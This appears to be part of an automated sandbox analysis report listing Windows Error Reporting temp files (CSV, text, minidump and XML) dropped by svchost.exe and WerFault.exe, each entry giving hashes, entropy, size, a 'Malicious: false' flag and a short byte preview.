File Type:	data
Category:	dropped
Size (bytes):	89828
Entropy (8bit):	3.0462415632060846
Encrypted:	false
SSDEEP:	1536:9SVsuI+jxbDZlC2oS4qgj1SHzePnkWuwJbervuyx+irSWbutN8G0F0JVQ6:9SVsuI+jxbDZlC2oS4qgj1SHzePnkWuK
MD5:	BDF0115623C830744A37E748421DD28F
SHA1:	149F127D2EB80153A9A3EE4221088F188A1F668A
SHA-256:	B736441E242E5B582A07984C9272F490ECB9860750A8110E62ED589D6771AA58
SHA-512:	0FA4988D5980A10D19CD203CAFFE68E1FA017F221E5692C1158D06367438DD87B7A13AC26884782BADA966CA29542587D1E85DFCE3BB1700EDE305FBBC557479
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4C81.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6855883062895107
Encrypted:	false
SSDEEP:	96:TiZYW7KofNE/uYvYtWaHxYEZIntai40f1wUwElMa3nMMtOIIP23:2ZDxO2oxxGa3nMMtOvP23
MD5:	3BD542C4F4458A141FFD75142C321CAD
SHA1:	BCEBDB66A6D534DD2DDDACBD501190C5A5553D29
SHA-256:	9C4FEF1E853B45FBA6DD8A3249EEB4673CE0C84169F8A86A3231D008822A98A3
SHA-512:	1A0FAE40A73E66AB4EF0D7BF471180BCD383A7296512002080D63FBA5962F48136A11C2D1947794823EFB9EECA87E139DE7D3D627EA3C67E5C6FE55AF99EFB1D
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER50FE.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Sep 28 22:53:43 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	82176
Entropy (8bit):	2.071621372276431
Encrypted:	false
SSDEEP:	384:xhXD+TFOkzXrUru4RERSB+BRh6f7TJno/BRL8kB2N33mV64R5aSWtYlHM:jXCTgkz7Uru4rBaifXKJR8k+30mSWK
MD5:	AA5FD1CE783AD230DE28B7399C0006E0
SHA1:	27DE86F5D284340DF26A3E5BB354A9C5A1587950
SHA-256:	3412F9F5B8EAAD74D269F0893E1D599068522569B77CF67EA64F009ECD7C7EBB
SHA-512:	2EA8EBEBEFEE3F5872E678674C48578CD7C21DC452509515346E56FF5D5E9C1CF6BB5B9ACBF9239E9A83584DF01EA318ECA6479003A56FB2F566F2DAF451A88A
Malicious:	false
Preview:	MDMP..a..... ..........f........................4...........T....7..........T.......8...........T............&..........................................................................................................eJ......D.......GenuineIntel............T.............f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER51DA.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6450
Entropy (8bit):	3.7330453964400414
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbLV46/YrYcZnIFXo0b5aMOUQ89bM7sfqEm:R6l7wVeJp46/MY3DpBQ89bM7sfqEm
MD5:	9A8C5035129BB5BA89F27EA7D4B6EAC2
SHA1:	5C777CB54DC67E2EA948B22A2A08A1F0A0870CE9
SHA-256:	31B89AAA752C3073A4C5D59C9C51C159064F85021CB46EC0E67B97615AB41192
SHA-512:	FE5E3E62F61B052D29386BABAC2E061DA883BE4995BB280608586BDA6919C593F23EA3F590FECE0D3E8ABC589BCDAD06CAB1EC4DFB554418D414579194C6DF20
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.9.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5248.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4790
Entropy (8bit):	4.530369742280695
Encrypted:	false
SSDEEP:	48:cvIwWl8zsmJg77aI9gLWpW8VYLYm8M4J/JEFI9+q8v5JD9RIMhyZad:uIjf8I7+67V7JBz9KDDXfAZad
MD5:	E1866556EEFB1944E129C3ECC531A633
SHA1:	6E1016DE63B0D5FB483E6C38457B8DB964541F05
SHA-256:	FA59A434DFFA1C13FAA2FF041BCE10574D48E97CBA4CCDF43A68A335F099E2B1
SHA-512:	8C194B4E96153071193A3324977C7EAACF0DD3A9D7B998C5D7C1C26442E85B96D3753094AC458118AC68FA3F5E535654CBFA841C5D1A630226736182EE33BD43
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="520676" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER525E.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	88088
Entropy (8bit):	3.049257198604632
Encrypted:	false
SSDEEP:	1536:lYDpTSnjMtw/lD2oSUqFj1lHz/PnkWuwJbervuyx+irlL/teC0Xg+:lYDpTSnjMtw/lD2oSUqFj1lHz/PnkWuk
MD5:	C51F2AFD2134DD566B6000F6EE8CCEAA
SHA1:	65A4305B9B3F8F35E5ABF9C04C86149CC2BFF4FA
SHA-256:	38A2BF51FBE614CDF70C1A69117B2CC7CF16D2149603C7F42AD0E0FF6A52E2B4
SHA-512:	4C6980BFAED0B20F4DAED1B5329E52854C641851A7FCAB5208DA6FB5F33D449087B0F4C62EF364364AB2081F936FEB002260B7A9FA13E505911F60944FEA5410
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER530B.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6853819014126743
Encrypted:	false
SSDEEP:	96:TiZYWia0K63MoYyYMxWUH2YEZwYstaiL01K1GwsxxBl3oabnPMUOFIZ23:2ZD3aDVx6THHBiabnPMUOaZ23
MD5:	73E1F29D1999F3DC22FDA33657FC21B3
SHA1:	65F021956523A0491AEC27828B57E44C5D121483
SHA-256:	93EE8374F514753FA5536A10D096ECB202634B583792B44A2EEB5F13B3E5B555
SHA-512:	8C46CC0B8213834CF5884CB1B10867440CAC424289DB4993D15869BF115B7C1932C06C3ED94DC1EE17D3A194287E615EA716672EDDD0E9D97C1D88F2B881FE4B
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER552F.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	88126
Entropy (8bit):	3.0486566710878553
Encrypted:	false
SSDEEP:	1536:Ud1maTSTMtw8lD2oSeqnj16HzuPnkWuwJbervuyx+ir1L/tiHs0Fg0R:Ud1maTSTMtw8lD2oSeqnj16HzuPnkWuK
MD5:	4FA41240CF5D3E79594DC25272A8B8BA
SHA1:	475B1F5CAE7B169930589200A94A01743889CBBB
SHA-256:	4826CA1F852D7A9846B2BD7E2D259D3D3AD2F4C809C3725A5F65CEB9EDAD10CA
SHA-512:	F382FF3D46C0F7F41F95C18CEA31DD8D4A8EE46AABD1B804810F13BB7A005DEAEF32A462F600FF2438E1D0840950A33D31F1ADB54E47E9880DB6EAF5304ED377
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER558E.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.685692218454467
Encrypted:	false
SSDEEP:	96:TiZYWK4yZo3MMYEYsrW1HMYEZGkE0taiU0D1FUYwwnPPaHnHMaO9IK23:2ZDV3zekpT3aHnHMaOCK23
MD5:	51866DD0BCEAC33AC975BF688AF872EC
SHA1:	CC1BC419CDF01343C2D95A55743466FF594AAC57
SHA-256:	2A68466AFD54A11C4E3332E4391744CFBF8ED9942838B01E2D5A3D86BAB4D69B
SHA-512:	2C01CDCC8D0DFDEB3457130F33BE09FD683B75533F2EA9B57433E22FDC9E1EE273A2659B1413A669C24A7617B7C6D21920B5E8AF06E75DA814ACB21297820060
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5744.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	88134
Entropy (8bit):	3.0488077401896483
Encrypted:	false
SSDEEP:	1536:cPqZ2PtUDjC0aylhWoS9Kqbj12HtIPnkWuwJbervuyx+irXL/tXQU0UgTTB:cPqZ2PtUDjC0aylhWoS9Kqbj12HtIPnV
MD5:	A91274DB56283FE92F829F7293A62F6B
SHA1:	86CCBB6108866E65643D052792C1996A5D0242B6
SHA-256:	6412C58058B9C90FDA951EFDB6B2BFCCA91D43A3B3F67C60358AF57405898B87
SHA-512:	6FCF52E118B73A30CCCCB8DFA3419D4F6B88970558C1109077E4A6250336FC04754647C665990FEB276A5D61FB934C8D560E477124DBE3D4D4700BA8FA9C270C
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER583F.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6855898313395374
Encrypted:	false
SSDEEP:	96:TiZYWf8hi3M2Y8Y4OLWQH0YEZ81taiL0519wXlUP5aonhMTW2I423:2ZDBdLoYhaonhMTWx423
MD5:	258A6571CE32553BBB821E027EAE406B
SHA1:	CC2FF22713E43ECCEF98C52A2D0929E7EC60E3B2
SHA-256:	4C452BC6423D19A5F7CB426FBAFFBBCC4E9C8557AE5257E2DF18348C21CA5C5F
SHA-512:	234C56A92E3497A294127E54505A39BB7D5A704C101D5294B4BC925C0D6B1410414475FC986DD64A1FCB0604A5051C4C4E720F52E62E0C5F037005A8606DFD54
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB8FE.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	88706
Entropy (8bit):	3.04813007629852
Encrypted:	false
SSDEEP:	1536:ogen33+J1Uyqc6DwPB+1VVHibLG/+h+jl+bBvn+Zv3+lReFE1+CvM+/j+RRCG1cx:ogen33+J1Uyqc6DwPB+1VVHibLG/+h+A
MD5:	741F9EF72760D3240A1E2023A8A92E06
SHA1:	6723BCA763FBEC3582056C49734F13E2CDF10A63
SHA-256:	5C6BD795A3446BE7FBAD58F49D3CE448B5D7ADE9135F2E63CAE07D7F5134EE0D
SHA-512:	041000E6F82AF6641AA7D59E33CC774CB8D97B8B3280CBE647D91E7467FBD2C382E2438EC2C9EBC6948F37B68B35435618F52DA8117DFF2449D83812FE6977EE
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB95C.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6877029869547946
Encrypted:	false
SSDEEP:	96:TiZYWauG9TYnYNWuEH2YEZ6Aytai40G1SrwpV2fm7a6wVdM2iFIEf3:2ZD8gOZv7a6w3M2iaEf3
MD5:	88350F2C9E96B8522F669A699BE0EE59
SHA1:	5944F3ED070FD8A87B3DA94B712B2CCBFD5CE896
